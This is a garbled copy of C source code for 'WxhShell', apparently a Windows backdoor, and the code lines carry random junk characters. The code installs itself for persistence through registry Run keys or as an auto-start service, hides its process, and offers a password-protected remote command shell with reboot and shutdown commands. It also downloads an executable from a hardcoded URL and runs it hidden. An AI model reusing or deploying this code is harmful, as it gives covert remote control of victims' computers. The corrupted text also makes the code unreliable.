ULONG InheritedFromUniqueProcessId; %1<p1u'r?#
} PROCESS_BASIC_INFORMATION; lcP@5ZW
6vjB;uS[
PROCNTQSIP NtQueryInformationProcess; @uE=)mP@
B~aOs>1
S]
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \I'Zc]
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5]Ra?rF
`MwQ6%lf
HANDLE hProcess; $oQsh|sTI
PROCESS_BASIC_INFORMATION pbi; xWwPrd
v-gT
3kJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rzmk-V
if(NULL == hInst ) return 0; [.I,B tY+
g@y"
B6X
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X|QCa@Foe
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _l,Z38
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b c4x"]!
__fR #D
if (!NtQueryInformationProcess) return 0; Y) h%<J
8 (KfX%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~76.S
if(!hProcess) return 0; C~;0A!@]Y
bsP;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]~.J@ 1?
7gMtnwT
CloseHandle(hProcess); KVcZ@0[S
CU;nrd "
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z-gwNE{
if(hProcess==NULL) return 0; &0eB@8{N
ke#;1
HMODULE hMod; 4@V]zfu^Q
char procName[255]; 5p|@ )
unsigned long cbNeeded; } >w
Ntnmd
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4QN;o%,
b:QFD|
CloseHandle(hProcess); %1@<),
lp}WB d+
if(strstr(procName,"services")) return 1; // 以服务启动 ^'fKey`
oGVSy`ku
return 0; // 注册表启动 cORM R!
} u0Erz0*G4
<ut DZ#k
// 主模块 L_|uB
int StartWxhshell(LPSTR lpCmdLine) 7L+X\oaB
{ BXo|CITso
SOCKET wsl; w&"w"
BOOL val=TRUE; =.X?LWKY
int port=0; f>5RAg
struct sockaddr_in door; ZQkw}3*n
1(i>Vt.+
if(wscfg.ws_autoins) Install(); |3s&Y`x-D
9xQ8` 7
port=atoi(lpCmdLine); 4LEE
/
NN 6KLbC(
if(port<=0) port=wscfg.ws_port; :2pBv#\"qk
o1WidJ"
WSADATA data; yOK])&c
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =]QH78\3
7Hl_[n|
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^CPfo/!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M91lV(Z
door.sin_family = AF_INET; k<| l\]w
door.sin_addr.s_addr = inet_addr("127.0.0.1"); D w=Z_+J
door.sin_port = htons(port); n6-Ic',;
v7(|K
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8}{o2r@
closesocket(wsl); d `kM0C
return 1; 1 j12Qn@]
} _Hu2[lV
bjBeiKH
if(listen(wsl,2) == INVALID_SOCKET) { )c*k_/4
closesocket(wsl); 5g1M_8e'+
return 1; K` ,d$
} (bx\4Ws
Wxhshell(wsl); e4Ox`gLa*p
WSACleanup(); ^dnz=FB
s!'A\nVV1$
return 0; [u9JL3
%Sn 6*\z
} :pDY
~BvY8\@B
// 以NT服务方式启动 BO4 K#H7
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9J7J/]7f
{ V<vPFxC
DWORD status = 0; +F o$o
DWORD specificError = 0xfffffff; em1cc,
!wd'::C
serviceStatus.dwServiceType = SERVICE_WIN32; %x6Ov\s2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6
r.H8
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gXu^"
serviceStatus.dwWin32ExitCode = 0; AM[jL'r|
serviceStatus.dwServiceSpecificExitCode = 0; % R|"Afa=
serviceStatus.dwCheckPoint = 0; e[QxFg0E
serviceStatus.dwWaitHint = 0; )4~sQ^}
VS9]po>=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XalJo@%-
if (hServiceStatusHandle==0) return; 9c6GYWIFt&
h
??C4z
status = GetLastError(); c',:@2R
if (status!=NO_ERROR) &'(a$S>v
{ Q+d.%qhc
serviceStatus.dwCurrentState = SERVICE_STOPPED; [2'm`tZL
serviceStatus.dwCheckPoint = 0; v1nQs='
serviceStatus.dwWaitHint = 0; Fi'M"^:r{
serviceStatus.dwWin32ExitCode = status; (]Ye[j^"7
serviceStatus.dwServiceSpecificExitCode = specificError; O wA~(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (9}eF)+O
return;
@yt2_
} RM&H!E<#
Y=a v8Y|`
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;tp]^iB#
serviceStatus.dwCheckPoint = 0; sLG>>d3R1
serviceStatus.dwWaitHint = 0; 'B3Wz a.
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y~ _za(k
} q#99iiG1
JOrELrMx
// 处理NT服务事件,比如:启动、停止 5@czK*5
VOID WINAPI NTServiceHandler(DWORD fdwControl) )@]6=*%
{ ])V2}gH
switch(fdwControl) *:\:5*SY
{ GsIwY {d
case SERVICE_CONTROL_STOP: DB`$Ru@
serviceStatus.dwWin32ExitCode = 0; 9q1HSJ1)
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5wH54gj}
serviceStatus.dwCheckPoint = 0; TCHqe19?
serviceStatus.dwWaitHint = 0; f v E+.{
{ rFmKmV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /5Zp-Pq
} y9C;T(oi;
return; S jVsF1d_
case SERVICE_CONTROL_PAUSE: _[OF"X2
serviceStatus.dwCurrentState = SERVICE_PAUSED; u C,"5C
break; P+dA~2k
case SERVICE_CONTROL_CONTINUE: Y=vVxVI\
serviceStatus.dwCurrentState = SERVICE_RUNNING; ><NI'q*cQ
break; t7w-TJvP
case SERVICE_CONTROL_INTERROGATE: vi]r
break; &8<<!#ob
}; yo\N[h7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); khU6*`lQ
} 7/H^<%;y
fJN*s
// 标准应用程序主函数 C.J`8@a]?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oj4v#GK]
{ 4\LZD{
rv9B}%e
// 获取操作系统版本 #NvQmz?J?
OsIsNt=GetOsVer(); bTLMd$
GetModuleFileName(NULL,ExeFile,MAX_PATH); FXP6zHsV
b?_e+:\UV
// 从命令行安装 Ih.rC>)rx
if(strpbrk(lpCmdLine,"iI")) Install(); h+,'B&=|_
d_Q*$Iz)3
// 下载执行文件 #zON_[+s9
if(wscfg.ws_downexe) { 0QMTIAW6h
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d<Ggw#}:m
WinExec(wscfg.ws_filenam,SW_HIDE); C:`;d&d
} i2){xg~c
M.>^{n$
z
if(!OsIsNt) { 0b/ir 2
// 如果时win9x,隐藏进程并且设置为注册表启动 *cbeyB{E
HideProc(); e`i7ah;
StartWxhshell(lpCmdLine); CSMeSPOm]
} V0K16#}1gM
else !z11"
c
if(StartFromService()) 7~_I=-
// 以服务方式启动 +I t#Z3
StartServiceCtrlDispatcher(DispatchTable); Qg(Z{V
else (`
5FZgN
// 普通方式启动 d/3J' (cq
StartWxhshell(lpCmdLine); XC[]E)8
eR:b=%T8
return 0; opsQn\4DZ?
} aaDP9FW9e
)Im3'0l>
,7GWB:Sk
#j;Tb2&w
=========================================== '77~{jy
|]`hXr
\(I0wEQo$
@q K]JK
a1Hz3y~S/
HBH$
" qO-9
x0v#
X) V7bVW
#include <stdio.h> 7kKuZW@K-
#include <string.h> xJ{_qP
#include <windows.h> vY6oVjM
#include <winsock2.h> XZ`:wmc|
#include <winsvc.h> 3jjMY
#include <urlmon.h> r-}-C!
0}{'C5
#pragma comment (lib, "Ws2_32.lib") ,7W:fwdR
#pragma comment (lib, "urlmon.lib") {(
#zcK
bu>qsU3
#define MAX_USER 100 // 最大客户端连接数 $B;_Jo\|
#define BUF_SOCK 200 // sock buffer WJ|:kuF
#define KEY_BUFF 255 // 输入 buffer f`jc#f5+'
nVE9^')8V
#define REBOOT 0 // 重启 #B8*gFZB
#define SHUTDOWN 1 // 关机 A /(lK q
e,>%Z@92(
#define DEF_PORT 5000 // 监听端口 bB!#:j>(v
8)N@qUV
#define REG_LEN 16 // 注册表键长度 .N,&Uv-
#define SVC_LEN 80 // NT服务名长度 q2hFOm
%SrM|&[
// 从dll定义API j9d!yW
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >I}9LyZt
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xl(@C*.sC1
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `s|]"'rX
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +k.%PO0np
*wuqa)q2
// wxhshell配置信息 !*aPEf270
struct WSCFG { u: &o}[
int ws_port; // 监听端口 ~e `Bq>
char ws_passstr[REG_LEN]; // 口令 KzjC/1sd
int ws_autoins; // 安装标记, 1=yes 0=no |Os6V<u"
char ws_regname[REG_LEN]; // 注册表键名 !d,8kG
char ws_svcname[REG_LEN]; // 服务名 K*q[(,9
char ws_svcdisp[SVC_LEN]; // 服务显示名 .Da'pOe
char ws_svcdesc[SVC_LEN]; // 服务描述信息 R x7X_A}
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V8WFQdXc
int ws_downexe; // 下载执行标记, 1=yes 0=no uI~s8{0T6
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )[L^Dmd,
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 20b<68h$:
Fk"Ee&H)(
}; ~
Vw9
eSEq{?>
// default Wxhshell configuration FdzNE
struct WSCFG wscfg={DEF_PORT, n(1')?"mA
"xuhuanlingzhe", 08s_v=cF
1, lx |5?P
"Wxhshell", ,E;;wdIt
"Wxhshell", )? =YT
"WxhShell Service", `Out(Hn
"Wrsky Windows CmdShell Service", IvHh4DU3Z
"Please Input Your Password: ", =-KMb`xT
1, 8j5<6Cv_
"http://www.wrsky.com/wxhshell.exe", JTU#vq:TY
"Wxhshell.exe" vAb^]d
}; \25/$Ae}c
cc}Key@D
// 消息定义模块 7a4o1;l
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :kMHRm@{
char *msg_ws_prompt="\n\r? for help\n\r#>"; xYfD()w<I
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GOT1@.Y
char *msg_ws_ext="\n\rExit."; )yG"^Ulu
char *msg_ws_end="\n\rQuit."; &<y2q/U}
char *msg_ws_boot="\n\rReboot..."; <eN_1NTH_
char *msg_ws_poff="\n\rShutdown..."; ]:(W_qEA
char *msg_ws_down="\n\rSave to "; mYxyWB
dq\FBwfe
char *msg_ws_err="\n\rErr!"; |4(~%| 8{
char *msg_ws_ok="\n\rOK!"; NTo!'p:s
vb
Y3;+M>
char ExeFile[MAX_PATH]; 6e,xDr
int nUser = 0; =<}<Ny
HANDLE handles[MAX_USER]; K+*Q@R D
int OsIsNt; 6$U]9D
/./"x~@
SERVICE_STATUS serviceStatus; [AU
II*:}
SERVICE_STATUS_HANDLE hServiceStatusHandle; `B/0i A
i;/xK=L
// 函数声明 >Dw~POMy
int Install(void); ^3VR-u <O
int Uninstall(void); wh6yPVVF/
int DownloadFile(char *sURL, SOCKET wsh); Q=mI9
int Boot(int flag); oA] KE"T
void HideProc(void); $
_j[2EU
int GetOsVer(void); h4|i%,f
int Wxhshell(SOCKET wsl); NLS"eDm
void TalkWithClient(void *cs); x5}'7,A
int CmdShell(SOCKET sock); v+7kU=
int StartFromService(void); #:jb*d?
int StartWxhshell(LPSTR lpCmdLine); {\H/y c|@
1CU>L[W)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7?j;7.i
s(
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S$TmZk=
:W#rhuzC
// 数据结构和表定义 +4;uF]T
SERVICE_TABLE_ENTRY DispatchTable[] = 5|3e&
{ M_v?9L
{wscfg.ws_svcname, NTServiceMain}, j9Ybx#
{NULL, NULL} Kt@M)#
}; ">f erhN9
&LO"g0w
// 自我安装 aj8A8ma*}
int Install(void) +T/FeVQ
{ :x.7vZzxs
char svExeFile[MAX_PATH]; "Z
Htr<+
HKEY key; :y*NM,s
strcpy(svExeFile,ExeFile); m>USD?i
7tUA>;++
// 如果是win9x系统,修改注册表设为自启动 +#U|skl
if(!OsIsNt) { &Z(K6U#.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { **9x?s
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n0Y+b[+wj
RegCloseKey(key); ^;!0j9"*:
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $mf
u:tbP
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,.eWQK~
RegCloseKey(key); 1b=lpw1}
return 0; {3;AwhN0H
} C~fjWz' V
} O~j> ?
} JB!:JML
else { sn7AR88M;
|*Z$E$k:
// 如果是NT以上系统,安装为系统服务 Lg8nj< TF
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *I}`dC[
if (schSCManager!=0)
'iLpE7
{ db'/`JeK
b
SC_HANDLE schService = CreateService 4XVCHs(
( X%yO5c\l2
schSCManager, ]7-&V-Ct*
wscfg.ws_svcname, F,
U*yj
wscfg.ws_svcdisp, @SCI"H%[
SERVICE_ALL_ACCESS, J>fQNW!{
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +"9hWb5
SERVICE_AUTO_START, g^*<f8 ~d
SERVICE_ERROR_NORMAL, ; ^t{Il'j
svExeFile, N0hE4t
NULL, dJ$"l|$$
NULL, fXrXV~'8
NULL, d%l{V6
NULL, ^u3V
E
NULL f0Bto/,>~
); oIUy -|
if (schService!=0) U(~+o
{ &-(463
CloseServiceHandle(schService); 3u%{dG a
CloseServiceHandle(schSCManager); z-M3
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9x,RvWTb
strcat(svExeFile,wscfg.ws_svcname); ]Q[p@gLd
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jzU.B u.
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d,Y_GCZ7|W
RegCloseKey(key); Y*mbjyt[?X
return 0; ge]STSM0n7
} hiNEJ_f
} SG6sw]x
CloseServiceHandle(schSCManager); j*~T1i
} VfT*7_
} ~-wPP{!
j xYc2
return 1; (O0Urm
} oK 6(HF'&
(b`]M`Fc
// 自我卸载 asJ)4ema
int Uninstall(void) L(X6-M:
{ KK@.~'d
HKEY key; N!*_La=TuH
`^lYw:xA
if(!OsIsNt) { S_~z-`;h!
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qCv20#!"|
RegDeleteValue(key,wscfg.ws_regname); y8fsveX
RegCloseKey(key); ?yh}/T\qp
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =]k {"?j
RegDeleteValue(key,wscfg.ws_regname); 7RZh<